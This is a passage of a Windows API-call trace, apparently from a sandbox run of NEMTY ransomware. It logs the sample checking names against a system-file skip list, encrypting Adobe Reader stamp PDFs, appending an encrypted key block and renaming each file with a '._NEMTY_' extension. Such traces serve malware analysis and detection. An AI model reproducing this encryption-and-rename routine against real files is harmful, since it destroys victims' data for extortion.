[0188.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0188.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0188.720] Sleep (dwMilliseconds=0x5) [0188.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2422ff70, dwHighDateTime=0x1d561e8)) [0188.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2422ff70, dwHighDateTime=0x1d561e8)) [0188.727] GetLastError () returned 0x0 [0188.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.727] GetLastError () returned 0x0 [0188.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.727] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.727] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.727] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.727] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="DZ9ct7FYS5jp+ALQO1ijHqGgd8oh5Atvf8mhX8junPD1yyi3oYJrRTJ9uByc6ePC\r\nuTfZYbsuLa78T+hh3bLHDlH8nPZOXmwjdRotwKdyKJfqthZ2kuVQynDjR0n+NQLG\r\nMVdZcLsNtOulfPDTXW97N9On8zt2+/+3vZYeI9NtlCcmIYCCQ5GhA7ce/sK3Vu1R\r\nwgfC3L0Toj8IUmZd12TbLaclWZF81/+gFxKUuejpNv4eegHH1cL6O0o06883+lEP\r\n+W0nKXcHtrC9+tstjdVmKJi7LyJ3u1aJb66BA0cpU+lYlpzzVgWZl5BwOlLsk5Ub\r\n8flU0XReHDhd8Q5Zp6ZVgg==\r\n", pcchString=0x653df5c) returned 1 [0188.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.727] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.728] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=33013) returned 1 [0188.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80f0) returned 0x6352c48 [0188.728] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.728] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x80f0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x80f0, lpOverlapped=0x0) returned 1 [0188.731] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.732] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x80f0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x80f0, lpOverlapped=0x0) returned 1 [0188.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.732] SetFilePointer (in: hFile=0x320, lDistanceToMove=33013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80f5 [0188.732] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.732] CloseHandle (hObject=0x320) returned 1 [0188.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0188.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0188.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.732] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Faces.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\faces.pdf._nemty_kgobjgd_")) returned 1 [0188.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0188.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.733] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".") returned 1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2="..") returned 1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2="...") returned 1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2="windows") returned -1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2="rsa") returned -1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2="NTDETECT.COM") returned 1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntldr") returned 1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2="MSDOS.SYS") returned 1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2="IO.SYS") returned 1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntuser.dat") returned 1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2="desktop.ini") returned 1 [0188.733] lstrcmpiW (lpString1="Pointers.pdf", lpString2="CONFIG.SYS") returned 1 [0188.734] lstrcmpiW (lpString1="Pointers.pdf", lpString2="RECYCLER") returned -1 [0188.734] lstrcmpiW (lpString1="Pointers.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.734] lstrcmpiW (lpString1="Pointers.pdf", lpString2="bootmgr") returned 1 [0188.734] lstrcmpiW (lpString1="Pointers.pdf", lpString2="programdata") returned -1 [0188.734] lstrcmpiW (lpString1="Pointers.pdf", lpString2="appdata") returned 1 [0188.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0188.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0188.734] Sleep (dwMilliseconds=0x5) [0188.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x242560d0, dwHighDateTime=0x1d561e8)) [0188.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x242560d0, dwHighDateTime=0x1d561e8)) [0188.742] GetLastError () returned 0x0 [0188.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.742] GetLastError () returned 0x0 [0188.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.743] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.743] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.743] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0188.743] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="EoDqeyRUHKiSsuE89vQPL91eikU18AqkWYfWlKvDlD40U4kfv4kt3sQxJojlz0B/\r\nTbpgerqKdYS9VTT25q47icrta/FA4JIPkWIhfBeDo8EgMYZT9f5b9voAtLVwtWVb\r\nTd5WWIF1GaeKD1YFPu1s1n8oQuJk2aa4Wp1C5uCu2ftEQV16IHhoSPvri4fLezs8\r\nQGPYfk/3s72i1D5luLlmLsO2SPCU3OBf6v5S3lYhbH1ZPVlp2zMhi28uZHbyUB4s\r\nvHfhEvc573W9pVZLkcU1yJBuKtBDTzonMhnzOWjCoLlF2A9kN3Kxu5HnVZwWtUeg\r\npe/3wxmkQteVvW7VQqfXqQ==\r\n", pcchString=0x653df5c) returned 1 [0188.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0188.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.743] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.743] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=46897) returned 1 [0188.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb730) returned 0x6352c48 [0188.743] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.744] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb730, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xb730, lpOverlapped=0x0) returned 1 [0188.748] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.748] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb730, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xb730, lpOverlapped=0x0) returned 1 [0188.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.748] SetFilePointer (in: hFile=0x320, lDistanceToMove=46897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb731 [0188.748] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.749] CloseHandle (hObject=0x320) returned 1 [0188.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0188.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0188.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.749] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Pointers.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\pointers.pdf._nemty_kgobjgd_")) returned 1 [0188.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0188.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0188.750] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9083, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 